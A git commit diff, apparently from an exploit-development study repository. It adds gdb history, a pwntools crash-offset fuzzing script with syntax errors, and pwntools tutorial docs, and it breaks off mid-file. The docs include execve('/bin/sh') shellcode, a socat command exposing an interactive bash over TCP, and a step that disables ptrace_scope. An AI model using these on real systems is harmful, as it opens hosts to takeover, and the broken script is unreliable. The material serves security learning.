test
This commit is contained in:
parent
752cf24624
commit
297b080638
|
@ -1 +1,5 @@
|
|||
run < 50
|
||||
core core
|
||||
core core
|
||||
core core
|
||||
core core
|
||||
|
|
Binary file not shown.
|
@ -20,3 +20,61 @@ r < echo "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga"
|
|||
r <(echo "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga")
|
||||
dashboard
|
||||
refresh
|
||||
cyclic -n 8
|
||||
cyclic -n 8 50
|
||||
r <(echo 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga')
|
||||
file parse
|
||||
r <(echo 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga')
|
||||
cyclic -n 8 -l 0x0000555555555751
|
||||
cyclic -n 8 -l 0x7fffffffc730
|
||||
r2
|
||||
pwndbg
|
||||
ctx-ghidra
|
||||
ctx-ghidra
|
||||
cyclic -n 8
|
||||
cyclic -n 8 50
|
||||
cyclic -n 8 500
|
||||
file parse
|
||||
r
|
||||
ood
|
||||
d
|
||||
file parse
|
||||
r < /tmp/a
|
||||
file parse
|
||||
r < /tmp/a
|
||||
file parse
|
||||
run < /tmp/a
|
||||
file parse
|
||||
run < /tmp/a
|
||||
load parse
|
||||
file parse
|
||||
r < ../../50
|
||||
r2
|
||||
r < 50
|
||||
pwndbg
|
||||
vi
|
||||
vim
|
||||
up
|
||||
top
|
||||
pwndbg
|
||||
rop
|
||||
pwndbg
|
||||
vmmap
|
||||
file parse
|
||||
cyclic | r
|
||||
?
|
||||
help
|
||||
alias
|
||||
help
|
||||
pwndbg
|
||||
xinfo
|
||||
ctx
|
||||
r < 50
|
||||
ctx
|
||||
ctx
|
||||
pwndbg
|
||||
vmmap
|
||||
ctx
|
||||
dashboard
|
||||
ct
|
||||
ctx
|
||||
|
|
Binary file not shown.
|
@ -0,0 +1,46 @@
|
|||
from pwn import *
|
||||
context(arch = 'amd64', os = 'linux')
|
||||
|
||||
# Generate a cyclic pattern so that we can auto-find the offset
|
||||
payload = cyclic(5)
|
||||
|
||||
# Run the process once so that it crashes
|
||||
p = process(['./parse'])
|
||||
p.sendline(payload)
|
||||
# Get the core dump
|
||||
core = Coredump('./core')
|
||||
|
||||
# Our cyclic pattern should have been used as the crashing address
|
||||
print(type(pack(core.rip)))
|
||||
print(type(payload))
|
||||
#assert pack(core.rip) in payload
|
||||
|
||||
|
||||
for i in range(50, 350):
|
||||
p = process(['./parse'])
|
||||
p.sendline("A" * i)
|
||||
received = p.recvline() # output from program
|
||||
try
|
||||
received += p.recvline() # Segmentation fault if crash else empty
|
||||
if 'Segmentation' in str(received):
|
||||
# For some reason when sent through pwntools the buffer to crash was 1 length longer than
|
||||
# it should have been?
|
||||
print('Crash at %d characters' % (i - 1))
|
||||
print('Crash at value will be %s' % hex(i - 1))
|
||||
break
|
||||
except
|
||||
pass
|
||||
|
||||
|
||||
|
||||
# Cool! Now let's just replace that value with the address of 'win'
|
||||
#crash = ELF('./mini-ntpclient')
|
||||
#payload = fit({
|
||||
# cyclic_find(core.rip): crash.symbols.win
|
||||
#})
|
||||
|
||||
# Get a shell!
|
||||
#io = process(['./mini-ntpclient' , payload])
|
||||
#io.sendline(b'id')
|
||||
#print(io.recvline())
|
||||
# uid=1000(user) gid=1000(user) groups=1000(user)
|
|
@ -0,0 +1,59 @@
|
|||
# Byte-compiled / optimized / DLL files
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
|
||||
# C extensions
|
||||
*.so
|
||||
|
||||
# Distribution / packaging
|
||||
.Python
|
||||
env/
|
||||
build/
|
||||
develop-eggs/
|
||||
dist/
|
||||
downloads/
|
||||
eggs/
|
||||
.eggs/
|
||||
lib/
|
||||
lib64/
|
||||
parts/
|
||||
sdist/
|
||||
var/
|
||||
*.egg-info/
|
||||
.installed.cfg
|
||||
*.egg
|
||||
|
||||
# PyInstaller
|
||||
# Usually these files are written by a python script from a template
|
||||
# before PyInstaller builds the exe, so as to inject date/other infos into it.
|
||||
*.manifest
|
||||
*.spec
|
||||
|
||||
# Installer logs
|
||||
pip-log.txt
|
||||
pip-delete-this-directory.txt
|
||||
|
||||
# Unit test / coverage reports
|
||||
htmlcov/
|
||||
.tox/
|
||||
.coverage
|
||||
.coverage.*
|
||||
.cache
|
||||
nosetests.xml
|
||||
coverage.xml
|
||||
*,cover
|
||||
|
||||
# Translations
|
||||
*.mo
|
||||
*.pot
|
||||
|
||||
# Django stuff:
|
||||
*.log
|
||||
|
||||
# Sphinx documentation
|
||||
docs/_build/
|
||||
|
||||
# PyBuilder
|
||||
target/
|
||||
|
||||
.gdb_history
|
|
@ -0,0 +1,22 @@
|
|||
The MIT License (MIT)
|
||||
|
||||
Copyright (c) 2015 Pwntools
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
|
@ -0,0 +1,62 @@
|
|||
# Pwntools Tutorials
|
||||
|
||||
This repository contains some basic tutorials for getting started with pwntools (and pwntools).
|
||||
|
||||
These tutorials do not make any effort to explain reverse engineering or exploitation primitives, but assume this knowledge.
|
||||
|
||||
# Introduction
|
||||
|
||||
[`Pwntools`](https://pwntools.com) is a grab-bag of tools to make exploitation during CTFs as painless as possible, and to make exploits as easy to read as possible.
|
||||
|
||||
There are bits of code everyone has written a million times, and everyone has their own way of doing it. Pwntools aims to provide all of these in a semi-standard way, so that you can stop copy-pasting the same `struct.unpack('>I', x)` code around and instead use more slightly more legible wrappers like `pack` or `p32` or even `p64(..., endian='big', sign=True)`.
|
||||
|
||||
Aside from convenience wrappers around mundane functionality, it also provides a very rich set of `tubes` which wrap all of the IO that you'll ever perform in a single, unifying interface. Switching from a local exploit to a remote exploit, or local exploit over SSH becomes a one-line change.
|
||||
|
||||
Last but not least, it also includes a wide array of exploitation assistance tools for intermediate-to-advanced use cases. These include remote symbol resolution given a memory disclosure primitive (`MemLeak` and `DynELF`), ELF parsing and patching (`ELF`), and ROP gadget discovery and call-chain building (`ROP`).
|
||||
|
||||
# Table of Contents
|
||||
|
||||
- [Installing Pwntools](installing.md)
|
||||
- [Tubes](tubes.md)
|
||||
+ Basic Tubes
|
||||
+ Interactive Shells
|
||||
+ Processes
|
||||
+ Networking
|
||||
+ Secure Shell
|
||||
+ Serial Ports
|
||||
- [Utility](utility.md)
|
||||
+ Encoding and Hashing
|
||||
+ Packing / unpacking integers
|
||||
+ Pattern generation
|
||||
+ Safe evaluation
|
||||
- [Context](context.md)
|
||||
+ Architecture
|
||||
+ Endianness
|
||||
+ Log verbosity
|
||||
+ Timeout
|
||||
- [ELFs](elf.md)
|
||||
+ Reading and writing
|
||||
+ Patching
|
||||
+ Symbols
|
||||
- [Assembly](assembly.md)
|
||||
+ Assembling shellcode
|
||||
+ Disassembling bytes
|
||||
+ Shellcraft library
|
||||
+ Constants
|
||||
- [Debugging](debugging.md)
|
||||
+ Debugging local processes
|
||||
+ Breaking at the entry point
|
||||
+ Debugging shellcode
|
||||
- [ROP](rop.md)
|
||||
+ Dumping gadgets
|
||||
+ Searching for gadgets
|
||||
+ ROP stack generation
|
||||
+ Helper functions
|
||||
- [Logging](logging.md)
|
||||
+ Basic logging
|
||||
+ Log verbosity
|
||||
+ Progress spinners
|
||||
- [Leaking Remote Memory](leaking.md)
|
||||
+ Declaring a leak function
|
||||
+ Leaking arbitrary memory
|
||||
+ Remote symbol resolution
|
|
@ -0,0 +1,175 @@
|
|||
Table of Contents
|
||||
=================
|
||||
|
||||
* [Assembly](#assembly)
|
||||
* [Basic Assembly](#basic-assembly)
|
||||
* [Canned assembly (shellcraft)](#canned-assembly-shellcraft)
|
||||
* [Command-line Tools](#command-line-tools)
|
||||
* [asm ](#asm)
|
||||
* [disasm ](#disasm)
|
||||
* [shellcraft ](#shellcraft)
|
||||
* [Foreign Architectures](#foreign-architectures)
|
||||
* [Canned Assembly](#canned-assembly)
|
||||
* [Command-line Tools](#command-line-tools-1)
|
||||
|
||||
# Assembly
|
||||
|
||||
Pwntools makes it very easy to perform assembly in almost any architecture, and comes with a wide variety of canned-but-customizable shellcode ready to go out-of-the-box.
|
||||
|
||||
In the [`walkthrough`](walkthrough) directory, there are several longer shellcode tutorials. This page gives you the basics.
|
||||
|
||||
## Basic Assembly
|
||||
|
||||
The most basic example, is to convert assembly into shellcode.
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
print repr(asm('xor edi, edi'))
|
||||
# '1\xff'
|
||||
|
||||
print enhex(asm('xor edi, edi'))
|
||||
# 31ff
|
||||
```
|
||||
|
||||
## Canned assembly (`shellcraft`)
|
||||
|
||||
The `shellcraft` module gives you pre-canned assembly. It is generally customizable. The easiest way to find out which `shellcraft` templates exist is to look at the [documentation on RTD](https://pwntools.readthedocs.org/en/latest/shellcraft.html).
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
help(shellcraft.sh)
|
||||
print '---'
|
||||
print shellcraft.sh()
|
||||
print '---'
|
||||
print enhex(asm(shellcraft.sh()))
|
||||
```
|
||||
```
|
||||
Help on function sh in module pwnlib.shellcraft.internal:
|
||||
|
||||
sh()
|
||||
Execute /bin/sh
|
||||
---
|
||||
/* push '/bin///sh\x00' */
|
||||
push 0x68
|
||||
push 0x732f2f2f
|
||||
push 0x6e69622f
|
||||
|
||||
/* call execve('esp', 0, 0) */
|
||||
push (SYS_execve) /* 0xb */
|
||||
pop eax
|
||||
mov ebx, esp
|
||||
xor ecx, ecx
|
||||
cdq /* edx=0 */
|
||||
int 0x80
|
||||
---
|
||||
6a68682f2f2f73682f62696e6a0b5889e331c999cd80
|
||||
```
|
||||
|
||||
## Command-line Tools
|
||||
|
||||
There are three command-line tools for interacting with assembly:
|
||||
|
||||
- `asm`
|
||||
- `disasm`
|
||||
- `shellcraft`
|
||||
|
||||
### `asm`
|
||||
|
||||
The asm tool does what it says on the tin. It provides several options for formatting the output. When the output is a terminal, it defaults to hex-encoded.
|
||||
|
||||
```
|
||||
$ asm nop
|
||||
90
|
||||
```
|
||||
|
||||
When the output is anything else, it writes the raw data.
|
||||
|
||||
```
|
||||
$ asm nop | xxd
|
||||
0000000: 90 .
|
||||
```
|
||||
|
||||
It also takes data on stdin if no instructions are provided on the command line.
|
||||
|
||||
```
|
||||
$ echo 'push ebx; pop edi' | asm
|
||||
535f
|
||||
```
|
||||
|
||||
Finally, it supports a few different options for specifying the output format, via the `--format` option. Supported arguments are `raw`, `hex`, `string`, and `elf`.
|
||||
|
||||
```
|
||||
$ asm --format=elf 'int3' > ./int3
|
||||
$ ./halt
|
||||
Trace/breakpoint trap (core dumped)
|
||||
```
|
||||
|
||||
### `disasm`
|
||||
|
||||
Disasm is the opposite of `asm`.
|
||||
|
||||
```
|
||||
$ disasm cd80
|
||||
0: cd 80 int 0x80
|
||||
$ asm nop | disasm
|
||||
0: 90 nop
|
||||
```
|
||||
|
||||
### `shellcraft`
|
||||
|
||||
The `shellcraft` command is the command-line interface to the internal `shellcraft` module. On the command-line, the full context must be specified, in the order of `arch.os.template`.
|
||||
|
||||
```
|
||||
$ shellcraft i386.linux.sh
|
||||
6a68682f2f2f73682f62696e6a0b5889e331c999cd80
|
||||
```
|
||||
|
||||
## Foreign Architectures
|
||||
|
||||
Assembling for a foreign architecture requires that you have an appropriate version of `binutils` installed. You should see [installing.md](installing.md) for more information on this. The only change that is necessary is to set the architecture in the global context variable. You can see more information about `context` in [context.md](context.md).
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
context.arch = 'arm'
|
||||
|
||||
print repr(asm('mov r0, r1'))
|
||||
# '\x01\x00\xa0\xe1'
|
||||
|
||||
print enhex(asm('mov r0, r1'))
|
||||
# 0100a0e1
|
||||
```
|
||||
|
||||
### Canned Assembly
|
||||
|
||||
The `shellcraft` module automatically switches to the appropriate architecture.
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
context.arch = 'arm'
|
||||
|
||||
print shellcraft.sh()
|
||||
print enhex(asm(shellcraft.sh()))
|
||||
```
|
||||
```
|
||||
adr r0, bin_sh
|
||||
mov r2, #0
|
||||
mov r1, r2
|
||||
svc SYS_execve
|
||||
bin_sh: .asciz "/bin/sh"
|
||||
|
||||
08008fe20020a0e30210a0e10b0000ef2f62696e2f736800
|
||||
```
|
||||
|
||||
### Command-line Tools
|
||||
|
||||
You can also use the command line to assemble foreign-arch shellcode, by using the `--context` command-line option.
|
||||
|
||||
```
|
||||
$ asm --context=arm 'mov r0, r1'
|
||||
0100a0e1
|
||||
$ shellcraft arm.linux.sh
|
||||
08008fe20020a0e30210a0e10b0000ef2f62696e2f736800
|
||||
```
|
|
@ -0,0 +1,72 @@
|
|||
Table of Contents
|
||||
=================
|
||||
|
||||
* [Context](#context)
|
||||
* [Context Settings](#context-settings)
|
||||
* [arch](#arch)
|
||||
* [bits](#bits)
|
||||
* [binary](#binary)
|
||||
* [endian](#endian)
|
||||
* [log_file](#log_file)
|
||||
* [log_level](#log_level)
|
||||
* [sign](#sign)
|
||||
* [terminal](#terminal)
|
||||
* [timeout](#timeout)
|
||||
* [update](#update)
|
||||
|
||||
# Context
|
||||
|
||||
The `context` object is a global, thread-aware object which contains various settins used by `pwntools`.
|
||||
|
||||
Generally at the top of an exploit, you'll find something like:
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
context.arch = 'amd64'
|
||||
```
|
||||
|
||||
Which informs pwntools that shellcode generated will be for `amd64`, and that the default word size is 64 bits
|
||||
|
||||
## Context Settings
|
||||
|
||||
### arch
|
||||
|
||||
The target architecture. Valid values are `"aarch64"`, `"arm"`, `"i386"`, `"amd64"`, etc. The default is `"i386"`.
|
||||
|
||||
The first time this is set, it automatically sets the default `context.bits` and `context.endian` to the most likely values.
|
||||
|
||||
### bits
|
||||
|
||||
How many bits make up a word in the target binary, e.g. 32 or 64.
|
||||
|
||||
### binary
|
||||
|
||||
Absorb settings from an ELF file. For example, `context.binary='/bin/sh'`.
|
||||
|
||||
### endian
|
||||
|
||||
Set to `"big"` or `"little"` (the default) as needed.
|
||||
|
||||
### log_file
|
||||
|
||||
File to send all of the logging output into.
|
||||
|
||||
### log_level
|
||||
|
||||
Verbosity of logs. Valid values are integers (lower is more verbose), and string values like `"debug"`, `"info"`, and `"error"`.
|
||||
|
||||
### sign
|
||||
|
||||
Sets the default signed-ness of integer packing / unpacking. Default is `"unsigned"`.
|
||||
|
||||
### terminal
|
||||
|
||||
Preferred terminal program to open new windows with. By default, uses `x-terminal-emulator` or `tmux`.
|
||||
|
||||
### timeout
|
||||
|
||||
Default timeout for tube operations.
|
||||
|
||||
### update
|
||||
|
||||
Sets multiple values at once, e.g. `context.update(arch='mips', bits=64, endian='big')`.
|
|
@ -0,0 +1,282 @@
|
|||
Table of Contents
|
||||
=================
|
||||
|
||||
* [Prerequisites](#prerequisites)
|
||||
* [Launching a Process Under GDB](#launching-a-process-under-gdb)
|
||||
* [Attaching to a Running Process](#attaching-to-a-running-process)
|
||||
* [Local Processes](#local-processes)
|
||||
* [Forking Servers](#forking-servers)
|
||||
* [Debugging Foreign Architectures](#debugging-foreign-architectures)
|
||||
* [Troubleshooting](#troubleshooting)
|
||||
* [Behind the Scenes](#behind-the-scenes)
|
||||
* [Specifying a Terminal Window](#specifying-a-terminal-window)
|
||||
* [Environment Variables](#environment-variables)
|
||||
* [Unable to Attach to Processes](#unable-to-attach-to-processes)
|
||||
* [argv0 and argc==0](#argv0-and-argc==0)
|
||||
|
||||
Pwntools has rich support for using a debugger in your exploit workflow, and debuggers
|
||||
are very useful when developing exploits when issues with exploits arise.
|
||||
|
||||
In addition to the resources here for debugging, you may want to enhance your GDB
|
||||
experience with one of the following projects:
|
||||
|
||||
* [Pwndbg](https://pwndbg.re)
|
||||
* [GDB Enhanced Features (GEF)](https://github.com/hugsy/gef)
|
||||
|
||||
# Prerequisites
|
||||
|
||||
You should have both `gdb` and `gdbserver` installed on your machine.
|
||||
You can check this easily with `which gdb` or `which gdbserver`.
|
||||
|
||||
If you find that you don't have them installed, they can easily be installed from
|
||||
most package managers.
|
||||
|
||||
```sh
|
||||
$ sudo apt-get install gdb gdbserver
|
||||
```
|
||||
|
||||
# Launching a Process Under GDB
|
||||
|
||||
Launching a process under GDB while still being able to interact with that process
|
||||
from pwntools is a tricky process, but luckily it's all been sorted out and the
|
||||
process is pretty seamless.
|
||||
|
||||
To launch a process under GDB from the very first instruction, just use
|
||||
[gdb.debug](https://docs.pwntools.com/en/stable/gdb.html#pwnlib.gdb.debug).
|
||||
|
||||
```py
|
||||
>>> io = gdb.debug("/bin/bash", gdbscript='continue')
|
||||
>>> io.sendline('echo hello')
|
||||
>>> io.recvline()
|
||||
# b'hello\n'
|
||||
>>> io.interactive()
|
||||
```
|
||||
|
||||
This should automatically launch the debugger in a new window for you to interact
|
||||
with. If it does not, or you see an error about `context.terminal`, check out the
|
||||
section on [Specifying a Terminal Window](#specifying-a-terminal-window).
|
||||
|
||||
In this example, we passed in `gdbscript='continue'` in order for the debugger
|
||||
to resume execution, but you can pass in any valid GDB script commands and they
|
||||
will be executed when the debugged process starts.
|
||||
|
||||
# Attaching to a Running Process
|
||||
|
||||
Sometimes you don't want to start your target under a debugger, but want to attach
|
||||
to it at a certain stage in the exploitation process.
|
||||
This is also handled seamlessly by Pwntools.
|
||||
|
||||
## Local Processes
|
||||
|
||||
Generally, you will have created a `process()` tube in order to interact with the
|
||||
target executable. You can simply pass that to `gdb.attach()` and it will magically
|
||||
open a new terminal window with the target binary under the debugger.
|
||||
|
||||
```py
|
||||
>>> io = process('/bin/sh')
|
||||
>>> gdb.attach(io, gdbscript='continue')
|
||||
```
|
||||
|
||||
A new window should appear, and you can continue to interact with the process
|
||||
as you normally would from Pwntools.
|
||||
|
||||
## Forking Servers
|
||||
|
||||
Sometimes the binary you want to debug has a forking server, and you want to
|
||||
debug the process you are connected to (rather than the server itself). This
|
||||
is also done seamlessly, as long as the server is running on the current machine.
|
||||
|
||||
Let's fake a server with socat!
|
||||
|
||||
```py
|
||||
>>> socat = process(['socat', 'TCP-LISTEN:4141,reuseaddr,fork', 'EXEC:/bin/bash -i'])
|
||||
```
|
||||
|
||||
Then we connect to the remote process with a `remote` tube as usual.
|
||||
|
||||
|
||||
```py
|
||||
>>> io = remote('localhost', 4141)
|
||||
[x] Opening connection to localhost on port 4141
|
||||
[x] Opening connection to localhost on port 4141: Trying 127.0.0.1
|
||||
[+] Opening connection to localhost on port 4141: Done
|
||||
>>> io.sendline('echo hello')
|
||||
>>> io.recvline()
|
||||
b'hello\n'
|
||||
>>> io.lport, io.rport
|
||||
```
|
||||
|
||||
It works! In order to debug the specific `bash` process our `remote` object, just
|
||||
pass it to `gdb.attach()`. Pwntools will look up the PID of the remote end of the
|
||||
connection and attempt to connect to it automatically.
|
||||
|
||||
```py
|
||||
>>> gdb.attach(io)
|
||||
```
|
||||
|
||||
A debugger should appear automatically, and you can interact with the process.
|
||||
|
||||
<!-- TODO: This is currently broken, see https://github.com/Gallopsled/pwntools/issues/1589 -->
|
||||
|
||||
# Debugging Foreign Architectures
|
||||
|
||||
Debugging foreign architectures (like ARM or PowerPC) from an Intel-based system is
|
||||
as easy as running them under pwntools.
|
||||
|
||||
```py
|
||||
>>> context.arch = 'arm'
|
||||
>>> elf = ELF.from_assembly(shellcraft.echo("Hello, world!\n") + shellcraft.exit())
|
||||
>>> process(elf.path).recvall()
|
||||
b'Hello, world!\n'
|
||||
```
|
||||
|
||||
Instead of invoking `process(...)` just use `gdb.debug(...)`.
|
||||
|
||||
```py
|
||||
>>> gdb.debug(elf.path).recvall()
|
||||
b'Hello, world!\n'
|
||||
```
|
||||
|
||||
## Tips and Limitations
|
||||
|
||||
Processes running foreign architectures MUST be started with `gdb.debug` in order
|
||||
to debug them, it is not possible to attach to a running process due to the way
|
||||
that QEMU works.
|
||||
|
||||
It should be noted that QEMU has a very limited GDB stub, which is used to
|
||||
inform GDB where various libraries are, so debugging may be more difficult,
|
||||
and some commands will not work.
|
||||
|
||||
Pwntools recommends Pwndbg to handle this situation, since it has code specifically
|
||||
to handle debugging under a QEMU stub.
|
||||
|
||||
<!-- TODO: There is no tutorial for interacting with cross-arch binaries -->
|
||||
|
||||
# Troubleshooting
|
||||
|
||||
## Behind the Scenes
|
||||
|
||||
Sometimes things just don't work, and you need to see what is happening internal
|
||||
to Pwntools with the debugger setup.
|
||||
|
||||
You can set the logging context globally (via e.g. `context.log_level='debug'`)
|
||||
or you can set it ONLY for the GDB session, via passing in the same argument.
|
||||
|
||||
You should see everything that's being handled for you behind the scenes.
|
||||
For example:
|
||||
|
||||
```py
|
||||
>>> io = gdb.debug('/bin/sh', log_level='debug')
|
||||
[x] Starting local process '/home/user/bin/gdbserver' argv=[b'/home/user/bin/gdbserver', b'--multi', b'--no-disable-randomization', b'localhost:0', b'/bin/sh']
|
||||
[+] Starting local process '/home/user/bin/gdbserver' argv=[b'/home/user/bin/gdbserver', b'--multi', b'--no-disable-randomization', b'localhost:0', b'/bin/sh'] : pid 34282
|
||||
[DEBUG] Received 0x25 bytes:
|
||||
b'Process /bin/sh created; pid = 34286\n'
|
||||
[DEBUG] Received 0x18 bytes:
|
||||
b'Listening on port 45145\n'
|
||||
[DEBUG] Wrote gdb script to '/tmp/user/pwnxcd1zbyx.gdb'
|
||||
target remote 127.0.0.1:45145
|
||||
[*] running in new terminal: /usr/bin/gdb -q "/bin/sh" -x /tmp/user/pwnxcd1zbyx.gdb
|
||||
[DEBUG] Launching a new terminal: ['/usr/local/bin/tmux', 'splitw', '/usr/bin/gdb -q "/bin/sh" -x /tmp/user/pwnxcd1zbyx.gdb']
|
||||
[DEBUG] Received 0x25 bytes:
|
||||
b'Remote debugging from host 127.0.0.1\n'
|
||||
```
|
||||
|
||||
|
||||
## Specifying a Terminal Window
|
||||
|
||||
Pwntools [attempts to launch a new window][run_in_new_terminal] to container your
|
||||
debugger based on whatever windowing system you are currently using.
|
||||
|
||||
By default, it auto-detects:
|
||||
|
||||
* tmux or screen
|
||||
* X11-based terminals like GNOME Terminal
|
||||
|
||||
If you are not using a supported terminal environment, or it does not work in the
|
||||
way you want (e.g. horizontal vs vertical splits) you can add support by setting
|
||||
the `context.terminal` environment variable.
|
||||
|
||||
For example, the following will use TMUX to split horizontally instead of the default.
|
||||
|
||||
```py
|
||||
>>> context.terminal = ['tmux', 'splitw', '-h']
|
||||
```
|
||||
|
||||
Maybe you're a GNOME Terminal user and the default settings aren't working?
|
||||
|
||||
```py
|
||||
>>> context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
|
||||
```
|
||||
|
||||
You can specify any terminal you like, and can even put the setting inside
|
||||
`~/.pwn.conf` so that it's used for all of you scripts!
|
||||
|
||||
```
|
||||
[context]
|
||||
terminal=['x-terminal-emulator', '-e']
|
||||
```
|
||||
|
||||
## Environment Variables
|
||||
|
||||
Pwntools allows you to specify any environment variables you like via `process()`,
|
||||
and the same is true for `gdb.debug()`.
|
||||
|
||||
```py
|
||||
>>> io = gdb.debug(['bash', '-c', 'echo $HELLO'], env={'HELLO': 'WORLD'})
|
||||
>>> io.recvline()
|
||||
b'WORLD\n'
|
||||
```
|
||||
|
||||
### `CWD` and ` `
|
||||
|
||||
Unfortunately, when using `gdb.debug()`, the process is launched under `gdbserver`
|
||||
which adds its own environment variables. This may introduce complications when
|
||||
the environment must be very carefully controlled.
|
||||
|
||||
```py
|
||||
>>> io = gdb.debug(['env'], env={'FOO':'BAR'}, gdbscript='continue')
|
||||
>>> print(io.recvallS())
|
||||
=/home/user/bin/gdbserver
|
||||
FOO=BAR
|
||||
|
||||
Child exited with status 0
|
||||
GDBserver exiting
|
||||
```
|
||||
|
||||
This only occurs when you launch the process under a debugger with `gdb.debug()`.
|
||||
If you're able to start your process and *then* attach with `gdb.attach()`, you
|
||||
can avoid this issue.
|
||||
|
||||
### Environment Variable Ordering
|
||||
|
||||
Some exploits may require that certain environment variables are in a specific
|
||||
order. Python2 dictionaries are not ordered, which may exacerbate this issue.
|
||||
|
||||
In order to have your environment variables in a specific order, we recommend
|
||||
using Python3 (which orders dictionaries based on insertion order), or using
|
||||
`collections.OrderedDict`.
|
||||
|
||||
## Unable to Attach to Processes
|
||||
|
||||
Modern Linux systems have a setting called `ptrace_scope` which prevents processes
|
||||
that are not child processes from being debugged. Pwntools works around this
|
||||
for any processes that it launches itself, but if you have to launch a process
|
||||
outside of Pwntools and try to attach to it by pid (e.g. `gdb.attach(1234)`),
|
||||
you may be prevented from attaching.
|
||||
|
||||
You can resolve this by disabling the security setting and rebooting your machine:
|
||||
|
||||
```sh
|
||||
sudo tee /etc/sysctl.d/10-ptrace.conf <<EOF
|
||||
kernel.yama.ptrace_scope = 0
|
||||
EOF
|
||||
```
|
||||
|
||||
## argv0 and argc==0
|
||||
|
||||
Some challenges require that they are launched with `argv[0]` set to a specific
|
||||
value, or even that it's NULL (i.e. `argc==0`).
|
||||
|
||||
It is not possible to launch a processs with this configuration via `gdb.debug()`,
|
||||
but you can use `gdb.attach()`. This is because of limitations of launching
|
||||
binaries under gdbserver.
|
|
@ -0,0 +1,217 @@
|
|||
Table of Contents
|
||||
=================
|
||||
|
||||
* [ELFs](#elfs)
|
||||
* [Loading ELF files](#loading-elf-files)
|
||||
* [Using Symbols](#using-symbols)
|
||||
* [Changing the Base Address](#changing-the-base-address)
|
||||
* [Reading ELF Files](#reading-elf-files)
|
||||
* [Patching ELF Files](#patching-elf-files)
|
||||
* [Searching ELF Files](#searching-elf-files)
|
||||
* [Building ELF Files](#building-elf-files)
|
||||
* [Running and Debugging ELF Files](#running-and-debugging-elf-files)
|
||||
|
||||
# ELFs
|
||||
|
||||
Pwntools makes interacting with ELF files relatively straightforward, via the `ELF` class. You can find the full documentation on [RTD](https://pwntools.readthedocs.org/en/latest/elf.html).
|
||||
|
||||
## Loading ELF files
|
||||
|
||||
ELF files are loaded by path. Upon being loaded, some security-relevant attributes about the file are printed.
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
e = ELF('/bin/bash')
|
||||
# [*] '/bin/bash'
|
||||
# Arch: amd64-64-little
|
||||
# RELRO: Partial RELRO
|
||||
# Stack: Canary found
|
||||
# NX: NX enabled
|
||||
# PIE: No PIE
|
||||
# FORTIFY: Enabled
|
||||
```
|
||||
|
||||
## Using Symbols
|
||||
|
||||
ELF files have a few different sets of symbols available, each contained in a dictionary of `{name: data}`.
|
||||
|
||||
- `ELF.symbols` lists all known symbols, including those below. Preference is given the PLT entries over GOT entries.
|
||||
- `ELF.got` only contains GOT entries
|
||||
- `ELF.plt` only contains PLT entries
|
||||
- `ELF.functions` only contains functions (requires DWARF symbols)
|
||||
|
||||
This is very useful in keeping exploits robust, by removing the need to hard-code addresses.
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
e = ELF('/bin/bash')
|
||||
|
||||
print "%#x -> license" % e.symbols['bash_license']
|
||||
print "%#x -> execve" % e.symbols['execve']
|
||||
print "%#x -> got.execve" % e.got['execve']
|
||||
print "%#x -> plt.execve" % e.plt['execve']
|
||||
print "%#x -> list_all_jobs" % e.functions['list_all_jobs'].address
|
||||
```
|
||||
|
||||
This would print something like the following:
|
||||
|
||||
```
|
||||
0x4ba738 -> license
|
||||
0x41db60 -> execve
|
||||
0x6f0318 -> got.execve
|
||||
0x41db60 -> plt.execve
|
||||
0x446420 -> list_all_jobs
|
||||
```
|
||||
|
||||
## Changing the Base Address
|
||||
|
||||
Changing the base address of the ELF file (e.g. to adjust for ASLR) is very straightforward. Let's change the base address of `bash`, and see all of the symbols change.
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
e = ELF('/bin/bash')
|
||||
|
||||
print "%#x -> base address" % e.address
|
||||
print "%#x -> entry point" % e.entry
|
||||
print "%#x -> execve" % e.symbols['execve']
|
||||
|
||||
print "---"
|
||||
e.address = 0x12340000
|
||||
|
||||
print "%#x -> base address" % e.address
|
||||
print "%#x -> entry point" % e.entry
|
||||
print "%#x -> execve" % e.symbols['execve']
|
||||
```
|
||||
|
||||
This should print something like:
|
||||
|
||||
```
|
||||
0x400000 -> base address
|
||||
0x42020b -> entry point
|
||||
0x41db60 -> execve
|
||||
---
|
||||
0x12340000 -> base address
|
||||
0x1236020b -> entry point
|
||||
0x1235db60 -> execve
|
||||
```
|
||||
|
||||
## Reading ELF Files
|
||||
|
||||
We can directly interact with the ELF as if it were loaded into memory, using `read`, `write`, and functions named identically to that in the `packing` module. Additionally, you can see the disassembly via the `disasm` method.
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
